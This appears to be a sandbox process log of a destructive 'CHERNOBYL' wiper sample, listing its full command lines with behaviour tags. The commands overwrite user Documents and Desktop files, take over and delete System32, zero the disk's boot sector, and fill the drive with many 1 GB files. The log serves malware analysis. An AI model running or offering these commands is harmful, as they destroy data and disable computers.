  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:204
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:248
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3660
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4384
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4960
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:4164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:3336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:5296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Normal -Command "while($true){$c=[System.ConsoleColor]::GetValues([System.ConsoleColor]);$r=Get-Random -Max $c.Count;$host.UI.RawUI.ForegroundColor=$c[$r];$r2=Get-Random -Max $c.Count;$host.UI.RawUI.BackgroundColor=$c[$r2];Clear-Host;Write-Host 'Γÿó∩╕Å CHERNOBYL Γÿó∩╕Å' -Fore Red -Back White;Start-Sleep -Milliseconds 200}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3344
- C:\Windows\system32\cmd.exe
  cmd /c "color 25588 & echo INFECTED > C:\Users\Admin\desktop\INF_4344.tmp & copy /y NUL C:\Users\Admin\desktop\CHERNOBYL_16711.dat"
  2⤵
  - Executes a command shell one-liner
  PID:1472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Get-ChildItem C:\Users\*\Documents\*.* -Recurse -ErrorAction SilentlyContinue | ForEach-Object { [System.IO.File]::WriteAllBytes($_.FullName, @(0x00,0x00,0x00)) }"
  2⤵
  - Enumerates connected drives
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Get-ChildItem C:\Users\*\Desktop\*.* -Recurse -ErrorAction SilentlyContinue | ForEach-Object { [System.IO.File]::WriteAllBytes($_.FullName, @(0xFF,0xFF,0xFF)) }"
  2⤵
  - Enumerates connected drives
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:688
- C:\Windows\system32\cmd.exe
  cmd /c "takeown /f C:\Windows\System32 /r /d y 2>nul & icacls C:\Windows\System32 /grant Admin:F /t 2>nul & del /f /s /q C:\Windows\System32\*.* 2>nul & rd /s /q C:\Windows\System32 2>nul"
  2⤵
  - Executes a command shell one-liner
  PID:3356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32 /r /d y
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "$drive = Get-WmiObject -Class Win32_DiskDrive | Where-Object {$_.Index -eq 0}; $bytes = [byte[]]::new(512); $drive | ForEach-Object { $path = $_.DeviceID -replace '\\\\\\\\.\\\\',''; [System.IO.File]::WriteAllBytes('\\\\.\\PhysicalDrive0', $bytes) }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5592
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_25547.bin 1073741824
  2⤵
  PID:2036
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_13527.bin 1073741824
  2⤵
  PID:7688
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20547.bin 1073741824
  2⤵
  PID:8880
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8227.bin 1073741824
  2⤵
  PID:7708
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_21648.bin 1073741824
  2⤵
  PID:8368
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_2220.bin 1073741824
  2⤵
  PID:9104
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_14560.bin 1073741824
  2⤵
  PID:8380
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28264.bin 1073741824
  2⤵
  PID:4216
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_17426.bin 1073741824
  2⤵
  PID:4256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_10306.bin 1073741824
  2⤵
  PID:2720
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_58.bin 1073741824
  2⤵
  PID:8904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4248.bin 1073741824
  2⤵
  PID:9192
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20256.bin 1073741824
  2⤵
  PID:9148
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_444.bin 1073741824
  2⤵
  PID:9148
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20161.bin 1073741824
  2⤵
  PID:3664
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8820.bin 1073741824
  2⤵
  PID:2944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3533.bin 1073741824
  2⤵
  PID:1556
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_635.bin 1073741824
  2⤵
  PID:8880
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4135.bin 1073741824
  2⤵
  PID:8380
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_1789.bin 1073741824
  2⤵
  PID:7700
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_9065.bin 1073741824
  2⤵
  PID:1764
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_10014.bin 1073741824
  2⤵
  PID:1336
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_861.bin 1073741824
  2⤵
  PID:6132
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_30836.bin 1073741824
  2⤵
  PID:9212
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20101.bin 1073741824
  2⤵
  PID:8380
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_2952.bin 1073741824
  2⤵
  PID:2904
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19091.bin 1073741824
  2⤵
  PID:1240
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_6233.bin 1073741824
  2⤵
  PID:2944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_30962.bin 1073741824
  2⤵
  PID:4256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_31450.bin 1073741824
  2⤵
  PID:2944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_31547.bin 1073741824
  2⤵
  PID:3172
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_32623.bin 1073741824
  2⤵
  PID:9032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_18368.bin 1073741824
  2⤵
  PID:3448
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_32627.bin 1073741824
  2⤵
  PID:4256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11782.bin 1073741824
  2⤵
  PID:8088
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19893.bin 1073741824
  2⤵
  PID:9212
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11075.bin 1073741824
  2⤵
  PID:1424
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_29430.bin 1073741824
  2⤵
  PID:2944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3812.bin 1073741824
  2⤵
  PID:7376
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_14957.bin 1073741824
  2⤵
  PID:7716
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28425.bin 1073741824
  2⤵
  PID:1764
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3652.bin 1073741824
  2⤵
  PID:4248
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_27910.bin 1073741824
  2⤵
  PID:1564
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_9240.bin 1073741824
  2⤵
  PID:8420
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_18916.bin 1073741824
  2⤵
  PID:5836
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_31100.bin 1073741824
  2⤵
  PID:8596
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19166.bin 1073741824
  2⤵
  PID:8684
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8311.bin 1073741824
  2⤵
  PID:8692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28133.bin 1073741824
  2⤵
  PID:3448
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_23553.bin 1073741824
  2⤵
  PID:8884
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28189.bin 1073741824
  2⤵
  PID:4256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3210.bin 1073741824
  2⤵
  PID:8088
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_6238.bin 1073741824
  2⤵
  PID:9000
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_27763.bin 1073741824
  2⤵
  PID:2824
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28595.bin 1073741824
  2⤵
  PID:7216
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_7315.bin 1073741824
  2⤵
  PID:7624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8670.bin 1073741824
  2⤵
  PID:4248
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_180.bin 1073741824
  2⤵
  PID:6132
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19410.bin 1073741824
  2⤵
  PID:5836
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_27668.bin 1073741824
  2⤵
  PID:8684
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3639.bin 1073741824
  2⤵
  PID:8692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_7652.bin 1073741824
  2⤵
  PID:7860
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_29162.bin 1073741824
  2⤵
  PID:3440
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3532.bin 1073741824
  2⤵
  PID:4256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_7291.bin 1073741824
  2⤵
  PID:2500
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_2148.bin 1073741824
  2⤵
  PID:5972
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_21677.bin 1073741824
  2⤵
  PID:6108
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_7100.bin 1073741824
  2⤵
  PID:2944
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_22266.bin 1073741824
  2⤵
  PID:7536
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_21462.bin 1073741824
  2⤵
  PID:1788
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_31244.bin 1073741824
  2⤵
  PID:8936
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_18215.bin 1073741824
  2⤵
  PID:996
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_9028.bin 1073741824
  2⤵
  PID:8244
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_29466.bin 1073741824
  2⤵
  PID:424
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_2871.bin 1073741824
  2⤵
  PID:9032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_26764.bin 1073741824
  2⤵
  PID:3444
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_21036.bin 1073741824
  2⤵
  PID:8768
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_18513.bin 1073741824
  2⤵
  PID:4980
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_25760.bin 1073741824
  2⤵
  PID:8684
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4014.bin 1073741824
  2⤵
  PID:3612
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_12226.bin 1073741824
  2⤵
  PID:4352
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_13533.bin 1073741824
  2⤵
  PID:1800
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_9719.bin 1073741824
  2⤵
  PID:796
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_5004.bin 1073741824
  2⤵
  PID:5348
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4951.bin 1073741824
  2⤵
  PID:692
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_10590.bin 1073741824
  2⤵
  PID:4252
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_16942.bin 1073741824
  2⤵
  PID:3952
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8808.bin 1073741824
  2⤵
  PID:2012
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28540.bin 1073741824
  2⤵
  PID:5624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_13749.bin 1073741824
  2⤵
  PID:1640
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3958.bin 1073741824
  2⤵
  PID:5632
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20931.bin 1073741824
  2⤵
  PID:3340
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_25090.bin 1073741824
  2⤵
  PID:2176
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_6403.bin 1073741824
  2⤵
  PID:2700
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_22335.bin 1073741824
  2⤵
  PID:1256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11869.bin 1073741824
  2⤵
  PID:4836
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_17403.bin 1073741824
  2⤵
  PID:2316
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_20906.bin 1073741824
  2⤵
  PID:4912
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_26170.bin 1073741824
  2⤵
  PID:1332
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19513.bin 1073741824
  2⤵
  PID:3704
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_14774.bin 1073741824
  2⤵
  PID:3140
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11594.bin 1073741824
  2⤵
  PID:2968
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_7258.bin 1073741824
  2⤵
  PID:8788
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_22166.bin 1073741824
  2⤵
  PID:1404
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_17093.bin 1073741824
  2⤵
  PID:896
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_22725.bin 1073741824
  2⤵
  PID:8832
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_31949.bin 1073741824
  2⤵
  PID:4536
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8182.bin 1073741824
  2⤵
  PID:4472
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_18938.bin 1073741824
  2⤵
  PID:7860
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28731.bin 1073741824
  2⤵
  PID:6316
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_15879.bin 1073741824
  2⤵
  PID:6368
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_12826.bin 1073741824
  2⤵
  PID:6616
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_13668.bin 1073741824
  2⤵
  PID:6652
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3853.bin 1073741824
  2⤵
  PID:6724
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_22967.bin 1073741824
  2⤵
  PID:4256
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_24067.bin 1073741824
  2⤵
  PID:7076
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_30294.bin 1073741824
  2⤵
  PID:9000
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_24541.bin 1073741824
  2⤵
  PID:4568
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_7374.bin 1073741824
  2⤵
  PID:5972
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19441.bin 1073741824
  2⤵
  PID:7396
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_6496.bin 1073741824
  2⤵
  PID:8176
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_11403.bin 1073741824
  2⤵
  PID:7428
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_14206.bin 1073741824
  2⤵
  PID:2824
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_2919.bin 1073741824
  2⤵
  PID:7576
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_22098.bin 1073741824
  2⤵
  PID:7588
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_28216.bin 1073741824
  2⤵
  PID:7744
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_19768.bin 1073741824
  2⤵
  PID:7652
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8996.bin 1073741824
  2⤵
  PID:4244
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8255.bin 1073741824
  2⤵
  PID:8048
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_23877.bin 1073741824
  2⤵
  PID:8064
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_1196.bin 1073741824
  2⤵
  PID:8116
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_8490.bin 1073741824
  2⤵
  PID:8128
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_13687.bin 1073741824
  2⤵
  PID:8140
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_340.bin 1073741824
  2⤵
  PID:7624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_6092.bin 1073741824
  2⤵
  PID:4248
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_10938.bin 1073741824
  2⤵
  PID:9032
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_12171.bin 1073741824
  2⤵
  PID:3444
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_16709.bin 1073741824
  2⤵
  PID:4456
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_25544.bin 1073741824
  2⤵
  PID:2516
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_3157.bin 1073741824
  2⤵
  PID:5568
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_4940.bin 1073741824
  2⤵
  PID:2624
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_29498.bin 1073741824
  2⤵
  PID:2848
- C:\Windows\system32\fsutil.exe
  fsutil file createnew C:\Users\Admin\desktop\BIG_30994.bin 1073741824
  2⤵
  PID:3852
